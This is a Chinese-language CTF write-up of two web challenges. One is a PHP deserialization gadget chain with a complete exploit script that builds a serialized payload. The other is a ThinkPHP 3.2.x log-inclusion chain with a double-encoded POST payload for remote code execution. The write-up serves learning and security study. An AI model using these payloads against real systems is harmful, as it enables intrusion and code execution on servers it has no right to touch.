ezser3
<?php error_reporting(0); include "flag.php"; class A{ private $functions=[]; public function __wakeup(){ $this->functions = []; } public function __call($name,$arg){ call_user_func_array($this->functions[$name],$arg); } public function __get($name){ $this->__call($name,[]); } } class B{ private $a; private $b; public $c; public function __destruct(){ echo $this->c->_name; } public function __wakeup(){ $this->a = $this->b; } } class C{ public function getFlag(){ global $flag; echo $flag; } } if(isset($_POST['data'])){ unserialize($_POST['data']); }else{ highlight_file(__FILE__); }
分析思路:
从整体来看,非常常见的php反序列化题目。
首先,搞清楚整个调用顺序,调用链是B::__destruct->A::__get->A::__call->C::getFlag
根据测试,应为A::__wakeup->B::__wakeup->B::__destruct->A::__get->A::__call->C::getFlag
最后肯定要调用C::getFlag方法,A::__call中可以调用C::getFlag
看看官方手册上的例子:
<?php function foobar($arg, $arg2) { echo __FUNCTION__, " got $arg and $arg2\n"; } class foo { function bar($arg, $arg2) { echo __METHOD__, " got $arg and $arg2\n"; } } // Call the foobar() function with 2 arguments call_user_func_array("foobar", array("one", "two")); // Call the $foo->bar() method with 2 arguments $foo = new foo; call_user_func_array(array($foo, "bar"), array("three", "four")); ?>
如果想调用其它类的方法,call_user_func_array的第一个参数必须是array(目标class实例,"方法名")的形式
在这里就是要求A->functions[$name]=Array(new C(),"getFlag") A->arg=[],结合整个调用过程可知$name="_name",所以A->functions=["_name"=>Array(new C(),"getFlag")]
关键是,反序列化时调用A::__wakeup,会把A->functions清空
不过,在A::__wakeup执行之后还会执行B::__wakeup,会有$this->a = $this->b;我们可以利用这句话对A中的functions进行重新赋值,这里可以利用指针
显然这里B->c=new A(),用于调用。但是属性会被清空。我们只需要让B->a=&B->c->functions即可(php不加&直接是复制一份值传递,跟java的对象引用还不一样),然后让B->b是我们想要的值,就能改变A->functions属性
exp:
<?php error_reporting(0); class A{ public $functions=[]; /** * @param array $functions * @param $name */ public function __construct() { } public function __wakeup(){ $this->functions = []; } public function __call($name,$arg){ call_user_func_array($this->functions[$name],$arg); } public function __get($name){ $this->__call($name,[]); } } class B{ private $a; private $b; public $c; /** * @param $a * @param $b * @param $c */ public function __construct() { $this->c = new A(); $this->a = &$this->c->functions; $this->b = ["_name"=>Array(new C(),"getFlag")]; } public function __destruct(){ echo $this->c->_name; } public function __wakeup(){ $this->a = $this->b; } } class C{ } $b = new B(); echo urlencode(serialize($b));
eztp1
原理分析:
给了源码,thinkphp3.2.5,框架题目先看路由
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index() { $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8'); } public function textBox(){ $query = urldecode(I("post.query")); parse_str($query,$array); $this->assign("array",$array); $this->display(T("[email protected]/list")); } } //IndexController.class.php
有用的就只有testBox,对于tp3.x来说,访问路由使用这样的形式:
index.php?s=home/Index/textBox
注意,I("post.query")也有一次url解码,所以在编码的时候要进行两次编码(主要是&要变成%2526)
thinkphp3.2.3有一个文件包含的链子:
thinkphp3.2.3文件包含RCE - FreeBuf网络安全行业门户
但是这里不能用,主要是由于$this->assign中的变量名被定死了。
导致不能实现变量覆盖
首先测试一下,发现还是可以正常进入load方法
$_filename指向了另一个php文件,查看发现这个php文件中调用了W函数
<?php echo W("Query/query",array("param"=>$array));?>
跟进,发现到达QueryWidget.class.php中的query方法
public function query($text){ if(isset($text['name'])&&isset($text['id'])){ $info = B($text['name'],$text['tag'],$text['id']); return $info; }else{ var_dump($text); } }
测试发现这里的$text就是我们传入的query字符串parse之后的结果。
根据B函数的内容
function B($name, $tag = '', &$params = null) { if ('' == $tag) { $name .= 'Behavior'; } return \Think\Hook::exec($name, $tag, $params); }
基本上就是原封不动调用Hook::exec,三个参数均可控,复现前面文章中的链子即可
payload:
抓包,写入错误日志 访问textBox路由,POST提交 query=_filename%3d./Application/Runtime/Logs/Common/22_06_30.log%2526name%3dBehavior\ParseTemplateBehavior%2526tag%3d1%2526id[file]%3d./Application/Home/View/default/list.html%2526id[var][_filename]%3d./Application/Runtime/Logs/Common/22_06_30.log 包含日志,RCE
思路总结:
题目本身:
这道题就是一个tp3.2.3反序列化日志包含已有链子的改版,虽然在调用assign方法的时候定死了参数名无法直接变量覆盖,但是题目提供了一个已有的PHP文件调用W函数,在调用过程中去掉了定死的参数名的“壳”,在二次调用的时候使参数均可控从而日志包含
思考方式:
寻找相关链子,然后动态调试找不同,动态调试是这类框架题非常重要的方法
文章评论